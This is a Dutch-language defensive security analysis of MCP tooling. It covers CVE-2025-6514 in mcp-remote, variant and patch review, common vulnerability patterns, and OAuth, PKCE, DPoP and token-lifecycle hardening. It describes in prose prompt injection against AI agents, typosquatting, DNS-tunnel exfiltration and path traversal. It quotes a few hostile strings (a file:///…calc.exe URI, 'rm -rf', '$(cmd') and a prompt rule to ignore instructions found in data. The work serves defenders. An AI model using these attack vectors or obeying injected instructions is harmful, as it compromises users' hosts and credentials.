Variant-analyse: vergelijkbare patronen in OAuth proxies

Gezien de aard van CVE-2025-6514 rijst de vraag: zijn soortgelijke kwetsbaarheden aanwezig in andere OAuth/OIDC implementaties of proxies? Het antwoord is zorgwekkend ja het patroon van onveilige browser-openers en ongesaneerde redirect-URIs is niet uniek:

• Andere MCP-tools: Kort na CVE-2025-6514 werd een ernstige kwetsbaarheid ontdekt in MCP Inspector (CVE-2025-49596), een andere tool voor AI-agenten[57]. Hier bleek de localhost web-UI geen authenticatie te vereisen, waardoor een aanvaller op hetzelfde netwerk of via een malafide webpagina de UI kon misbruiken voor code execution (een variant genaamd NeighborJacking waarbij de lokale proxy wordt misleid)[11]. Hoewel de techniek anders was (XSS/CORS-achtige aanval), is het overkoepelende thema hetzelfde: een tool die OAuth/AI-functionaliteit biedt maar nalatig is in valideren van input of vereisen van auth, waardoor RCE mogelijk is.
• OAuth2 Proxy vuln (hypothetisch): Stel een generieke OAuth2 reverse-proxy (zoals oauth2-proxy OSS project) zou user-supplied redirect URIs zonder whitelisting doorgeven aan iets van exec(open URL). Dit is gelukkig niet gangbaar, maar variant in die zin dat open redirect bugs in OAuth flows veel voorkomen. Bijvoorbeeld open-redirect in OIDC kunnen tokens lekken of gebruikers phishen (confused deputy). CVE-2025-6514 ging stap verder met directe RCE, maar open-redirects (CWE-601) in OAuth ecosystemen zijn een bekende klasse van problemen.
• Shell-uitvoering via browser openers in andere languages: Er zijn parallellen in andere programmeertalen: in Python bijv. webbrowser.open() op Windows roept ook ShellExecute aan – mogelijk ook misbruikbaar via file:/// URIs. Als iemand een Python-based OIDC client maakt die net zo werkt, zou iets vergelijkbaars kunnen spelen. Variant-analyse zou dus moeten kijken naar alle plekken waar externe URLs vanuit vertrouwensgrenzen worden geopend met OS-functies.
• Dependency confusion / Typosquatting: Een alternatieve supply-chain vector: niet direct een OAuth-proxy bug, maar wel MCP-gerelateerd, is het risico op typosquatting van MCP packages. Bijvoorbeeld, een package genaamd mcp_remote (underscore) in npm registreren met kwaadaardige payload, in de hoop dat iemand zich typo vergist. Dergelijke aanvallen zijn eerder met Python/pip en npm gezien. Het effect (RCE bij installatie) zou net zo catastrofaal zijn, maar dat valt meer onder supply-chain dan OAuth. Toch is het concept: aanvallers zoeken de zwakke plekken in de keten – of het nu een codebug is of een menselijk foutje – en bij MCP is de spoeling nog dun qua security maturity, dus er zijn meerdere varianten van aanvallen mogelijk.

Lessons learned hieruit ontwikkelaars van MCP-achtige tools moeten rigoureus te werk gaan:
– Implementeer strikte allow-lists voor URI schemas (bv. alleen http/https toestaan als redirect target, nooit file:// of javascript:). Gebruik veilige bibliotheken voor het openen van URL’s: bijvoorbeeld platform-API’s die niet via shell gaan, of in Windows context de WinAPI ShellExecute juist configureren (met verbod op bepaalde schemas).
– Schema-validatie volgens RFC’s: de OAuth metadata JSON moet voldoen aan verwachte patronen. Een waarde die niet met http begint kan direct verworpen worden.
– Principe van least privilege toepassen op clienttools: waarom zou mcp-remote überhaupt OS-commando’s moeten kunnen uitvoeren? Misschien had dit component in een sandbox (bijv. electron app sandbox) gemoeten zodat zelfs als het een file: url opent, er geen directe host-impact is.
– Voer variant analyses standaard uit na elke incident: Check andere plekken in de codebase of gelieerde projecten op vergelijkbare kwetsbaarheden. In dit geval had men meteen naar MCP Inspector en Filesystem MCP Server moeten kijken wat gelukkig ook is gebeurd, want er kwamen bevindingen uit[12].

Patch-effectiviteit (mcp-remote v0.1.16 fix) en resterend aanvalsoppervlak

De maintainer van mcp-remote (Glen Maddern) bracht versie 0.1.16 uit met een fix voor CVE-2025-6514[58][59]. Laten we de aanpak van de patch bekijken en inschatten of het gat nu echt gedicht is of dat er nog residuele risico’s zijn:

• Patch inhoud: Uit de GitHub commit blijkt dat de fix bestond uit het vervangen van het gebruik van open() door een veiligere benadering, plus toevoegen van validatie op het URL schema[60][61]. Waarschijnlijk wordt nu geëist dat authorization_endpoint begint met http:// of https:// en anders afgebroken. Ook zou men op Windows wellicht een specifieke manier gebruiken om de browser te openen die niet via PowerShell loopt (denk aan start https://… direct via cmd /c of een Node library die dat netjes doet).
• Effectiviteit: Deze fix dicht exact de gepubliceerde exploit-route. Testen van JFrog bevestigden dat na de update de exploit niet meer lukte (calc niet meer opende). Dus voor CVE-2025-6514 is de fix effectief. Echter, blijft er aanvalsoppervlak? Ja, want:
  • Als een gebruiker verzuimt te updaten (en velen updaten OSS-tools traag), blijft hun omgeving kwetsbaar. Dit is een menselijk vlak, maar reëel – daarom pleit JFrog ook voor mitigaties als “gebruik alleen trusted servers en HTTPS”[62], in het geval patch nog niet toegepast is.
  • mcp-remote zelf is nu veilig(er), maar andere componenten in MCP eco niet per se. We noemden al MCP Inspector en Filesystem Server met eigen issues[11][12]. Dus patchen van dit ene pakket lost niet de breder aanwezige kwetsbaarheidsklasse op.
• Resterende aanvalsoppervlak in mcp-remote: Stel dat mcp-remote wel https URLs vereist. Een aanvaller kan nog steeds een MITM uitvoeren als de gebruiker een http (onversleutelde) server aanspreekt[63]. De patch voorkomt RCE via de metadata, maar niet dat een LAN-aanvaller de hele verkeer overneemt en misschien op andere manieren de cliënt compromitteert (bijv. door een kwaadaardige tool output te geven die prompt injection in de AI veroorzaakt). Met andere woorden, mcp-remote blijft risicovol als men niet de best practices volgt (trusted servers, TLS).
  • Een ander vlak: Denial of Service. De patch focust op RCE, maar wat als een server heel veel valse events stuurt? Kan mcp-remote crashen of memory overflow genereren? Niet onderzocht, maar mogelijk is DoS nog een aangezicht.
• Aanvullende mitigaties: Om resterend risico te verlagen is aangeraden:
  • Hardcode een scheme whitelist – waarschijnlijk gedaan.
  • Overweeg interacteren met de browser via een minder gevaarlijk pad. Op Windows zou men de URL naar start “” “https://…” kunnen sturen, zonder PowerShell. Of instructies aan user geven (“kopieer deze link in je browser”) – minder gebruiksvriendelijk maar veiliger.
• Output encoding/logging: Zorg dat als de malicious URL ergens gelogd wordt, dat dit veilig gebeurt (een javascript: URL mag niet in een log viewer direct klikken veroorzaken, etc.).
• Defense in depth: zelfs na patch kan men tools als Microsoft Defender Exploit Guard inzetten om het starten van calc.exe door dit proces te blokkeren, of Sysmon rules om powershell calls door Node processen te detecteren.
• Resterende attack surface in OAuth flow: Een slim punt is of de patch rekening houdt met alle gekke URI-trucs. Bv. ze blokkeren “file:”, maar wat als iemand “file:///c:/windows/system32/calc.exe” (met drie slashes) stuurt? Of een Unicode-homograaf die հttp:// (Armeense h) gebruikt? Robustheid van de fix moet dan blijken. Ook is social engineering via OAuth nog mogelijk – stel een server geeft een echte https auth URL, maar leidt naar een phishing-pagina die lijkt op Microsoft login. De tool zou dat openen en user kan erin trappen. Dit is geen code exploit maar wel een gevaar van de flow dat blijft bestaan (gebruikers kunnen verleid worden tot verkeerde autorisatie).

Conclusie patch: Versie 0.1.16 lost de directe kwetsbaarheid goed op, mits juist toegepast. Het geeft echter geen reden om achterover te leunen: de exploit bewees dat OAuth flows in MCP op scherp moeten worden gezet. Structureel zouden alle MCP-implementaties gereviewd moeten worden op vergelijkbare issues. De lessons learned uit deze patch moeten breed worden toegepast: “valideer alles wat van een remote komt, en minimaliseer wat je ermee doet op het systeem”.

Lessons learned: veilige ontwerpprincipes

Uit CVE-2025-6514 en soortgelijke bevindingen destilleren we een aantal ontwerpprincipes en best practices die voortaan gehanteerd moeten worden bij MCP-ontwikkeling:

• Strikte inputvalidatie en sanitization: Behandel alle input van externe MCP-servers als potentieel onveilig. Dit betekent JSON-schemas valideren (OAuth metadata moet alleen geldige URL’s bevatten), niet-verwachte velden negeren, en gevaarlijke tekens encoderen of verwijderen. “Never trust, always verify” toegepast op protocollair niveau.
• Allow-lists i.p.v. deny-lists: Bepaal expliciet welke waarden toegestaan zijn (URI schema’s, domeinen, bestandspaden) en block alles wat daarbuiten valt, in plaats van bekende slechte dingen zoeken. Bijv.: alleen https:// endpoints zijn geldig – in plaats van “block file: and javascript:” (er zijn immers talloze potentieel foute schemas).
• Principe van minste privilege (PoLP): Zorg dat de component zelf zo min mogelijk mag. mcp-remote draaide als gewone user (niet SYSTEM) – dat is goed. Maar ook: het had geen elevated rechten nodig, dus verhindert dat (via Manifest bijv.). In containercontext: draai als non-root, drop capabilities (zie later isolatie sectie). Zo beperkt men de impact als er iets misgaat.
• Proof-of-Possession tokens (DPoP): Om het trust model te verbeteren: OAuth in MCP zou idealiter DPoP of mTLS gebruiken zodat tokens gebonden zijn aan de client. Dan kan een malafide server minder makkelijk token misuse doen. Dit is meer een identity les, zie volgende domein.
• Sandboxing van potentieel gevaarlijke functionaliteit: Als een onderdeel iets doet als een browser openen, overweeg dat in een sandbox te draaien of op te lossen via een externe veilige service. Bv. een aparte kleine proxy die enkel URLs doorgeeft aan een al draaiende browser (via inter-process comm) zodat geen nieuwe processen starten. Of integratie met OS-keurige methodes.
• Uitvoer logica scheiden van logica die input ophaalt: In dit geval zat ophalen van metadata en direct verwerken (redirect) in één flow. Beter is een ontwerp waarin eerst alles wordt opgehaald en gevalideerd, en dan pas in een volgende stap uitgevoerd. Dan had men tussenin checks kunnen doen en user waarschuwen (“de server wil een lokale applicatie openen, sta je dat toe?”). Die user consent voor potentieel risicovolle acties kan een generiek patroon zijn in AI-agents: als een tool een verdacht verzoek doet, vraagt de agent bevestiging.
• Telemetry en waarschuwingen inbouwen: Ontwerp de tool zo dat als iets afwijkends gebeurt (bv. een file:-schema wordt gezien) er naar de gebruiker of admin een waarschuwing gaat. Zelfs als je het blokkeert, is het nuttig om te loggen “Server X gaf ongeldig endpoint, mogelijk aanval”. Dit sluit aan bij observability by design.

Door deze principes breed toe te passen, maken we de MCP-ecosysteem een stuk weerbaarder tegen niet alleen bekende exploits maar ook nog onbekende varianten.

Systematische kwetsbaarheidspatronen in MCP-implementaties

Naast de specifieke CVE is het belangrijk om algemene kwetsbaarheidspatronen te onderkennen die veelvuldig in MCP-servers en -clients voorkomen. Onderzoek van o.a. Backslash Security en Pillar Security heeft diverse patronen blootgelegd[64][65]. We behandelen hier de belangrijkste categorieën en voorbeelden:

• OS Command Injection & Subprocess misbruik: Veel MCP-servers worden snel in elkaar gezet in scripting-taal en roepen voor bepaalde acties shellcommando’s aan (denk aan een MCP-server die git of curl via een shell uitvoert). Backslash vond tientallen servers die ongestructureerd user input doorgeven aan subprocesses, waardoor triviale command injections ontstaan[66][67]. Bijvoorbeeld een MCP-server met een functie execute(command) die inkomende strings direct in exec() stopt[68]. Hierdoor kan een aanvaller (als hij toegang krijgt tot die functie, bv. via prompt injection of open tool port) willekeurige OS-commando’s op de server draaien. Remedie: Vermijd system()-calls met onbeheerde input, gebruik parameterized calls of restrict commando’s tot een predefinieerde set. Indien toch nodig, saniteer grondig en beperk karakters (geen &|; etc). Gebruik van sandbox-technieken (seccomp bijv.) kan schade beperken als er toch iets door glipt.
• Directory Traversal & File System blootstelling: Sommige MCP-servers met name die toegang tot bestandsystemen bieden (denk: een Filesystem MCP Server voor “browse my files”) kampen met path traversal risico’s. Een recent voorbeeld: kwetsbaarheden in de Anthropic Filesystem MCP Server (CVE-2025-53110 e.a.), waar door sluwe paden (../) buiten de bedoelde directory gelezen of geschreven kon worden[69]. Dit ondermijnt elke sandbox-intentie en kan leiden tot uitlezen van gevoelige files of plaatsen van een malicious script op de host. Remedie: Gebruik veilige path libraries die normaliseren en beperk paden tot een root (chroot / jailed environment). Check dat opgegeven paden altijd beginnen met de vooraf ingestelde basepath en niet hogerop kunnen klimmen. En draai dit type servers met lage rechten (geen toegang tot system32 etc).
• Privilege-escalatie paden: Binnen container of OS-context kan slechte configuratie tot escalatie leiden. Voorbeeld: een MCP-server die draait met CAP_SYS_ADMIN in Kubernetes of als root, kan bij een exploit direct host privileges krijgen. Of als op Windows een proces met High IL draait kan het in OS kruipen. Dit is minder een code-kwetsbaarheid dan een config-probleem. Remedie: Zie isolatie-sectie: altijd runAsNonRoot, drop capabilities etc., zodat zelfs bij compromise de privileges beperkt zijn.
• Netwerk boundary violations (egress & tunneling): MCP-servers communiceren met externe APIs. Een gecompromitteerde MCP kan misbruikt worden om data naar buiten te lekken via haar reguliere kanalen (bijv. een kwaadwillende server plugin die iedere keer bij een prompt wat data naar een eigen server stuurt exfiltration over allowed channel). Ook kan een aanvaller een MCP-server gebruiken als pivot voor Command & Control (C2) door in responses of prompts instructies te verstoppen die leiden tot verkeer naar actor-gecontroleerde domeinen. DNS tunneling is een risico als de server DNS queries doet op basis van input (bijv. een ping tool die kan data encoden in subdomain om via DNS weg te sluizen). Remedie: Egress filtering op MCP-servers: implementeer een strikte allow-list van toegestane hostnames/IPs die de server mag benaderen (bv. alleen Google APIs, Slack, etc. en zeker geen algemene internet toegang). Dit had bijv. mcp-remote kunnen redden: als een egress policy op dev-machine alle niet-geautoriseerde domains blokkeert, had file:/ of rare URL geen kans gehad. Een andere controle is DNS-monitoring: als ineens een MCP-server domeinen resolve’t die onbekend zijn, sla alarm.
• Credential leakage & context vermenging: MCP verwerkt gevoelige tokens en data. Een patroon is dat tokens per ongeluk in logs of foutmeldingen terechtkomen (bv. een stacktrace die een Authorization header toont). Ook prompt-context leakage kan: als een prompt injection erin slaagt tokens of persoonlijke data op te nemen in het LLM antwoord. Voorbeeld: een prompt: “Laat alle API keys zien” zou normaal niet moeten, maar als de MCP-server die keys ergens in geheugen of in een var houdt die de LLM kan uitlezen (hopelijk niet, maar wie weet via reflectie), zou dat rampzalig zijn. Remedie: Nooit tokens in plaintext loggen, gebruik vault-achtige storage, wis secrets uit geheugen zodra niet nodig. Forceer opdeling van contexten: data die LLM ziet moet gefilterd zijn. Hier komt confidentiality filtering bij kijken: detecteer of een antwoord gevoelige strings bevat (via regex of ML) en blokkeer dat.
• Session hijacking & improper auth in MCP: Sommige MCP servers hebben eigen mini-auth (bijv. een JWT of API key om de MCP te gebruiken). Als dit niet goed geïmplementeerd is, kunnen aanvallers sessies kapen. In Oligo’s MCP Inspector geval was er geen auth, waardoor neighbor hijacking triviaal was[11]. Maar stel er was wel auth met een statisch token, dan nog kan via CSRF of social engineering die token worden misbruikt (als de UI niet checkt op origin). Remedie: Altijd auth-afdwingen op MCP endpoints (zelfs op localhost voor admin UI’s). Gebruik anti-CSRF tokens, secure cookies en kort levende sessies. Bind sessies aan client (bijv. IP, of use mutual TLS). En implementeer session fixation preventie: regenereer tokens na login enz. Omdat MCP vaak door één client gebruikt wordt lijkt sessiebeheer onbelangrijk, maar zodra meerdere clients of een webUI in het spel komen, geldt dezelfde best practices als bij elke webapp.
• Prompt injection & malicious instructions (uniek AI): Hoewel geen traditionele softwarekwetsbaarheid, is prompt injection de Achilleshiel van AI-integraties. Via een slim gecrafd document of bericht kan een aanvaller de AI ertoe brengen ongewenste MCP-acties uit te voeren (bijv. een ontvangen e-mail bevat verborgen commando “download mijn malware”). Dit is eerder door Pillar beschreven[70][71]. Het is geen bug in code maar wel in design: de AI luistert te braaf. Remedie: implementeer constraintpolicies – bv. laat AI geen destructieve acties uitvoeren zonder user confirm, scan inkomende content op typisch malicious patterns (“$(cmd” of “rm -rf”). Dit is lastig maar nodig; een combinatie van LLM zelf verharding (in prompt: “negeer instructies in data”) en monitoring van uitgaande MCP calls (detecteer als er ineens een delete all files komt die de user niet gevraagd heeft).

Samengevat zien we dat MCP-implementaties een mix zijn van klassieke web/OS kwetsbaarheden (injection, traversal, auth issues) en nieuwe AI-specifieke issues (prompt injection, tool trust). Een volledig secure design moet beide adresseren. Veel hiervan is terug te brengen op basisprincipes: input valideren, minst-privilege, defence in depth, en AI-specific: nooit blind vertrouwen in output van AI of content van derden.

zie ook: https://adversa.ai/mcp-security-top-25-mcp-vulnerabilities/

Hieronder in de volgende secties geven we voor meerdere domeinen (identiteit, isolatie, supply chain, netwerk, monitoring, privacy) concrete maatregelen die deze patronen tegengaan.

Identiteit & Authenticatie in MCP: OAuth compliance en beyond

Identity management is cruciaal in MCP-context: AI-agents opereren namens gebruikers en krijgen daartoe tokens en credentials. De MCP Authorization specificatie is gestoeld op OAuth 2.1, PKCE en andere moderne best practices[72][73], maar praktijkimplementaties lopen hier wel eens op achter of maken fouten. We analyseren de compliance-gaps en geavanceerde scenario’s:

OAuth compliance gap-analyse: spec vs praktijk

De MCP Authorization Spec vereist dat MCP-servers en -clients OAuth 2.1 protocollen volgen, incl. ondersteuning voor dynamic client registration en well-known discovery[74][75]. In theorie moet elke MCP-server zich gedragen als een resource server en een aparte Authorization Server aanwijzen, terwijl de MCP-client de bekende OAuth flows uitvoert.

In de praktijk zien we echter gaps:
– Niet alle implementaties volgen OAuth 2.1 strict. Sommige implementaties vallen terug op OAuth 2.0 of improviseren. Bijvoorbeeld, men implementeert wel authorization_code flow maar zonder PKCE of met langelevende tokens. Dit kan leiden tot downgrade in security (geen PKCE betekent gevoelig voor code interception).
– Ontbreken van dynamic client registration: De spec zegt dat clients MUST ondersteunen, servers SHOULD[76], maar sommige servers hebben het niet en verwachten pre-provisioned clients. Dit leidt ertoe dat developers geneigd zijn statische client secrets in code te stoppen slecht voor security.
– Token lifecycle mismanagement: Refresh tokens worden soms niet gebruikt of juist te lang bewaard. De spec verwacht short-lived access tokens en revocation mogelijkheden, maar of elke server dit doet is twijfelachtig. Een gap is dat als een MCP-server geen token revocation endpoint biedt, een uitgelekt token (via bijv. een logs of memory leak) door aanvaller lang gebruikt kan worden.
– Audience binding niet afgedwongen: OAuth token zou eigenlijk een audience claim moeten hebben voor de resource (de MCP server). Als een server dat niet checkt, kan een token bedoeld voor service A misbruikt worden op service B (Cross-audience misuse). Dit is het Confused Deputy risico in OAuth. De spec noemt dat tokens gevalideerd moeten worden op audience[77], maar implementaties slaan dat over in eenvoud.
– Inconsistent scopes: MCP servers definiëren eigen scopes (bijv. mcp.read, mcp.write). Als deze te breed zijn (bv. één scope = volledige toegang) is least privilege weg. We zagen al in Pillar’s analyse dat MCP’s vaak excessieve permissies vragen (zoals volledige Gmail toegang i.p.v. alleen lezen)[78][79]. Praktijkvoorbeeld: een MCP Gmail-tool vroeg zowel read als send rechten om “flexibel” te zijn, maar daarmee als dat token lekt kan aanvaller zowel lezen als mails versturen[14][80]. Dit is gap tussen spec (die zou principle of minimal scope impliceren) en implementatie (die vaak gemak boven veiligheid zet).

Specifieke compliance-issues:
– PKCE adoptie: OAuth 2.1 vereist PKCE voor code flows (en geen implicit flow meer). De meeste MCP-clients lijken PKCE wel te gebruiken, omdat libs dat standaard doen. Maar als een implementatie dat vergat, is interceptie van authorization code mogelijk (maar wel moeilijker in on-prem scenario’s). PKCE failure zou een hoge risk zijn in multi-tenant scenario’s.
– DPoP vs mTLS: De spec laat PoP (Proof of Possession) opties open. DPoP (OAuth 2.1 draft) is lichter dan mTLS. We zien weinig MCP-implementaties die dit al ondersteunen, dus tokens zijn meestal bearer tokens. Dit betekent dat token theft (zoals eerder beschreven) eenvoudiger tot misbruik leidt, want een aanvaller kan een bearer token op een totaal andere machine gebruiken. Dit is een gap: het is moeilijk PoP nu in te bouwen, maar wenselijk richting toekomst.
– Redirect URL handling & open redirect: De spec waarschuwt voor open redirect exploits[81]. Clients MUST geregistreerde redirect URIs gebruiken[82][81]. In integraties echter ziet men soms dat ontwikkelaars gemakshalve http://localhost:someport/callback wildcarden. Dit opent deuren voor phishing of token stelen als iemand de callback kan kapen. Gelukkig is dat in closed environment van PCP minder erg dan in publieke webapps, maar toch. Een misconfiguratie hier is voorstelbaar.

Conclusie gap analyse: Over het algemeen biedt de MCP OAuth laag een solide basis, maar veel hangt af van zorgvuldige implementatie. Organisaties moeten auditten of de MCP-servers die zij inzetten conform spec werken: check discovery (/.well-known), check of PKCE enforced is, wat de token TTL’s zijn, hoe scopes geregeld zijn etc. Geregeld blijkt dat een OSS-projekt niet alles 100% volgens spec heeft (bv. geen revocation endpoint). Dan moet je als implementator compenserende maatregelen nemen (kortere token geldigheid, valse scopes uitzetten, enz).

PKCE-beoordeling: implementatiegraad en bypass-mogelijkheden

PKCE (Proof Key for Code Exchange) is een uitbreiding op OAuth waarmee authorization code interception risks worden gemitigeerd. In MCP-context: AI-agenten die een auth-code ophalen via een externe browser moeten PKCE gebruiken om te voorkomen dat een malicious app op het systeem dezelfde code inwisselt.

• Adoptie in MCP: Aangezien PKCE alom aangeraden wordt sinds RFC 7636 en onderdeel is van OAuth 2.1, implementeren de meeste OAuth-libraries dit standaard. Claude Desktop’s implementatie via mcp-remote bijvoorbeeld deed PKCE (JFrog snippet toont code_verifier opslag[44][83]). We mogen aannemen dat mcp-remote correct PKCE gebruikte, want anders zou een man-in-the-middle nóg makkelijker de code kunnen stelen. Algemeen lijken de prominente MCP-servers (Anthropic’s, etc) PKCE te ondersteunen.

Implementatiefouten: Waar het mis kan gaan is:

• Niet unieke code_verifiers per sessie (hergebruik).
• Code_challenge niet goed berekend (S256 vs plain mismatch).
• Loggen of lekken van code_verifier (als dat in verkeerde handen valt, is PKCE nut weg).
• Bypass: als de Authorization Server PKCE niet eist, kan een oude client zonder PKCE alsnog werken. Dus server-side enforcement is even belangrijk. Theoretisch, als een MCP-server een externe IdP gebruikt die PKCE optioneel heeft, zou een oude client misbruik mogelijk maken.

Attacker vantage: PKCE beschermt tegen intercept in netwerk, maar niet tegen een volledig compromit van de client. Als de client al gecompromitteerd is (zoals door CVE-2025-6514), kan de aanvaller zelf de code_verifier zien en PKCE omzeilen. Dus PKCE helpt vooral tegen bepaalde dreigingen maar niet tegen een RCE scenario.

Bypass scenario’s:

• Auth code injection: Als een aanvaller controle heeft over de redirect URI (bv. via open redirect bug elders), zou hij kunnen zorgen dat de code met zijn eigen session verifiers wordt uitgewisseld. Lastig scenario, want PKCE koppelt code aan initial request.
• Same-device malicious app: PKCE voorkomt dat een andere externe app de code steelt, maar als een malware op de pc actief code sniffed (bv. door de lokale HTTP redirect te onderscheppen) maar niet de PKCE heeft, kan hij er weinig mee. Dus PKCE doet z’n werk.
• Ervaren tekortkoming: Aanvankelijk was PKCE bedoeld voor public clients (zonder secret). In MCP is de desktop client zo’n public client. Dus juist toegepast. Hier weinig bypass mogelijk tenzij implementatiefout.

PKCE Conclusie: Overwegend positief PKCE is wijd toegepast en doeltreffend. Het moet wel samen gaan met State parameter voor CSRF-bescherming en de tips hierboven (niet loggen, server moet ook enforce). Organisaties kunnen dit verifiëren door een OAuth pentest op de flow: probeer code replay zonder PKCE etc. Als dat niet lukt, is PKCE goed.

DPoP vs mTLS: binding tokens aan clients

DPoP (Demonstration of Proof-of-Possession) en mTLS (Mutual TLS) zijn twee technieken om bearer tokens om te vormen tot holder-of-key tokens. Dit betekent dat een token alleen bruikbaar is door degene die het heeft aangevraagd (DPoP via een sleutel in de client, mTLS via clientcertificaat).

In MCP context:

– DPoP: Heel geschikt, want MCP clients (bv. een desktop app) kunnen prima een JWKS sleutelpaar genereren en bij elke API call een DPoP header meesturen. Dit voorkomt dat een gelekt access token door een ander gebruikt kan worden, want die ander heeft de private key niet om geldige DPoP proof te maken.

– mTLS: Lastiger in heterogene omgeving (client-cert deployment complex), maar voor corporate scenario’s (AI agent op server) zou men mTLS kunnen doen clientcert om te authenticeren bij MCP-server, en token bound aan dat cert. mTLS geeft tevens zekerheid over de verbinding (die heb je eigenlijk al via TLS, maar je voegt client auth toe).

Huidige patronen: Voor zover bekend is DPoP nog niet breed toegepast in MCP tools, voornamelijk omdat standaard IdP’s (Google, Microsoft) nog geen DPoP ondersteunen op hun auth endpoints, en custom MCP auth server moeten dit expliciet inbouwen. De spec refereert er ook niet direct aan (wel dat OAuth 2.1 volgt, en DPoP is concept in draft nog). mTLS is evenmin standaard, al zou men binnen corporate eigen PKI dat kunnen gebruiken voor MCP server auth.

Security-eigenschappen:

– DPoP: Lichte weging, client maakt een JWT met hash van request en zijn public key. Server checkt dat de token’s cnf claim matcht de key van DPoP JWT. Goede balans performance, maar vereist synchronisatie dat die cnf claim in token zit (Auth server moet DPoP snappen). Het beschermt tegen token diefstal door netwerkaanvaller of logs token zonder key is nutteloos. Niet tegen device steal (als attacker pc overneemt, heeft die key wel).

– mTLS: Zeer sterke binding op transportniveau. Beschermt ook tegen intercept volledig. Nadeel performance overhead op schaal (cert management).

– DPoP vs mTLS trade-off: DPoP is app-level, mTLS is transport-level. Voor een cloud MCP service die aan externe clients ligt is DPoP flexibeler (geen clientcert distributie nodig). Voor intern microservice verkeer is mTLS makkelijk want je kan service mesh dat laten doen.

Performance implicaties:

– DPoP voegt per request een JWT sign operation toe verwaarloosbaar voor desktops (ms werk), en klein wat overhead in request size (header ~200 bytes).

– mTLS kost per verbinding handshake en CPU voor cert verify, kan bij veel parallelle connecties zwaarder zijn. Maar dat is vooral op server side, moderne hardware kan paar duizend TLS handshakes per sec dus niet gek.

Aanbeveling: Als je controle hebt over zowel client als server MCP, overweeg DPoP te implementeren voor alle non-confidential scenario’s. Dit is een future-proof measure: het voorkomt dat een eventueel uitgelekt token (via log hack of zo) bruikbaar is zonder ook de key. Dit minimaliseert impact van credential leakage. Voor enterprise interne MCP’s kan mTLS nuttig zijn om clients al bij connect te authenticeren (voordat OAuth zelfs begint) een extra trust factor. Bijvoorbeeld: een overheid kan eisen dat alleen devices met overheidscert connecten naar de MCP-server (soort NAC). Dan is een actor zonder zo’n device al uitgesloten.

Audience binding token scoping & cross-audience misbruik

Audience binding houdt in dat een access token alleen geldig is voor het beoogde resource (MCP server X) en niet bij een andere (MCP server Y) kan worden gebruikt. Dit voorkomt “token forwarding” of confused deputy scenario’s tussen diensten.

In OAuth gebeurt dit door de aud claim in de token (of resource indicator tijdens request), en de resource server die dat checkt.

Effectiviteit in MCP: Stel je hebt meerdere MCP-servers (bv. een Fileserver MCP en een Gmail MCP) en één client die voor beide tokens heeft. Als een token zonder aud specificatie wordt gebruikt, zou een kwaadwillige MCP server misschien een token krijgen dat voor een andere resource bedoeld was en toch accepteren. Bijvoorbeeld, een slordig geprogrammeerde server ziet een geldig JWT signatuur en denkt “prima, auth’d” zonder te checken dat de aud = andere-server.

Spec eist wel dat tokens audience-bound moeten zijn en gevalideerd worden[77]. Echter, als men gebruik maakt van bestaande IdP’s (bv. OAuth via Azure AD voor een interne MCP), dan moet men bij issuance een Resource parameter meegeven anders krijg je een Graph token dat potentieel breed is.

Cross-audience misuse scenario: Een voorbeeld: een AI-agent heeft een token voor “MCP Gmail” en je laat per ongeluk een request doorsturen naar “MCP Drive” als dat token door Drive wordt geaccepteerd omdat iss en sig kloppen en aud niet gecheckt, kan dat misbruik. Ook denkbaar: een misconfig in client die op verkeerde endpoint token stuurt en het toch werkt.

Scope vs Audience: Men verwart soms scope als binding, maar scope = permissies. Audience moet apart gezien worden.

Aanbeveling: Forceer per MCP-server een unieke audience (URI of identifier) en laat access tokens dat vermelden. Test de server: probeer een token van een andere server -> moet geweigerd. Zo niet, fix code. Dit is essentieel om “context hijacking” te voorkomen waar een token misbruikt wordt op andere plaats.

Token lifecycle refresh, revocatie, TTL, rotatie

Het tokenbeheer is een vaak onderschat aspect. Secure token lifecycle betekent:
– Access tokens kort laten leven (5-60 min) zodat impact van lek beperkt is.
– Refresh tokens beveiligen en eventueel rotaties toepassen (OIDC Refresh Token rotation mechanisme om reuse te detecteren).
– Revocation endpoints hanteren zodat bij een vermoeden tokens ingetrokken kunnen worden.
– Token binding (al genoemd) om levensduur te koppelen aan client.

In MCP is het bijzonder omdat:
– Vaak langdurige “offline” toegang gewenst is (AI agent die ook zonder user continu kan werken). Dat betekent refresh tokens of long-lived tokens. Dit brengt spannning: security zegt kort; usability zegt lang. Goede middenweg is refresh token (lang geldig) maar access kort en logging van gebruik.
– Revocation discipline: Bij gewone apps vergeet men wel eens refresh token revoke bij logout. Als AI agent interface van user niet duidelijk is, kan het zijn dat tokens eindeloos geldig blijven tenzij handmatig ingetrokken via IdP. Een risico dat een ex-werknemer’s AI agent token nog werkt als accounts niet gedeprovisioneerd zijn.

Mitigatie:
– Stel een TTL-beleid: bijv. Access token 30 min, refresh token 8 uur. Zo moet een agent die langer wil werken elk werkdag opnieuw login (misschien ok, of via service principal).
– Overweeg client credentials flow voor purely non-user agents, dan heb je geen refresh gedoe maar wel maak je tokens on-demand (afhankelijk van secret).
– Rotatie: implementeer refresh token rotation (zodat als een refresh token ooit dubbel wordt gebruikt, je weet dat er leak is en kunt blokkeren).
– Introspectie en monitoring: Zorg dat er logs zijn van tokengebruik. Als je plots ziet dat een token van een user buiten werkuren bij MCP wordt gebruikt, kan dat indicator zijn (mits logging dat detail heeft).

• Automatische revocatie bij incident: Als een dev machine compromised is (via CVE-2025-6514 bijv.), moet men alle tokens die daarop stonden als potentieel gestolen beschouwen en intrekken. Een integratie met incident response: bij een SOC melding van exploit -> API calls naar IdP om tokens te revoken.

Samengevat: Identity & auth in MCP moet op enterprise-niveau beheerd worden: dit betekent IdP integratie, policy enforcement op tokens, en actief beheer van token lifecycle. Dit is voor dev-teams nieuw terrein (ze zien OAuth vaak als “set and forget”), maar voor CISO’s en IAM-specialisten bekende kost. Bridging die werelden is nodig: IAM-afdeling moet betrokken bij opzet MCP auth.

Geavanceerde identiteitscenario’s

Naast de basis OAuth flow zijn er scenario’s waarbij identity management extra complex wordt:

• Federatie (SAML/OIDC bridges): Stel een enterprise wil haar AI agent toegang geven tot een tool van een partnerorganisatie. Dan zou MCP-server van partner wellicht federated login moeten ondersteunen (SAML of OIDC trust). Trust-boundaries: de AI agent heeft nu een token die via trust chain verkregen is. Dit opent extra aanvalsvector (federation misconfig, trust hijack). Je moet zorgen dat in zo’n federatie attributen goed beperkt zijn en dat bij een compromise in partner domain jouw tokens niet misbruikt kunnen worden elders. Evt. kan men een bridge service zetten die vertaalt, zodat AI agent niet direct in vreemde STS hoeft.
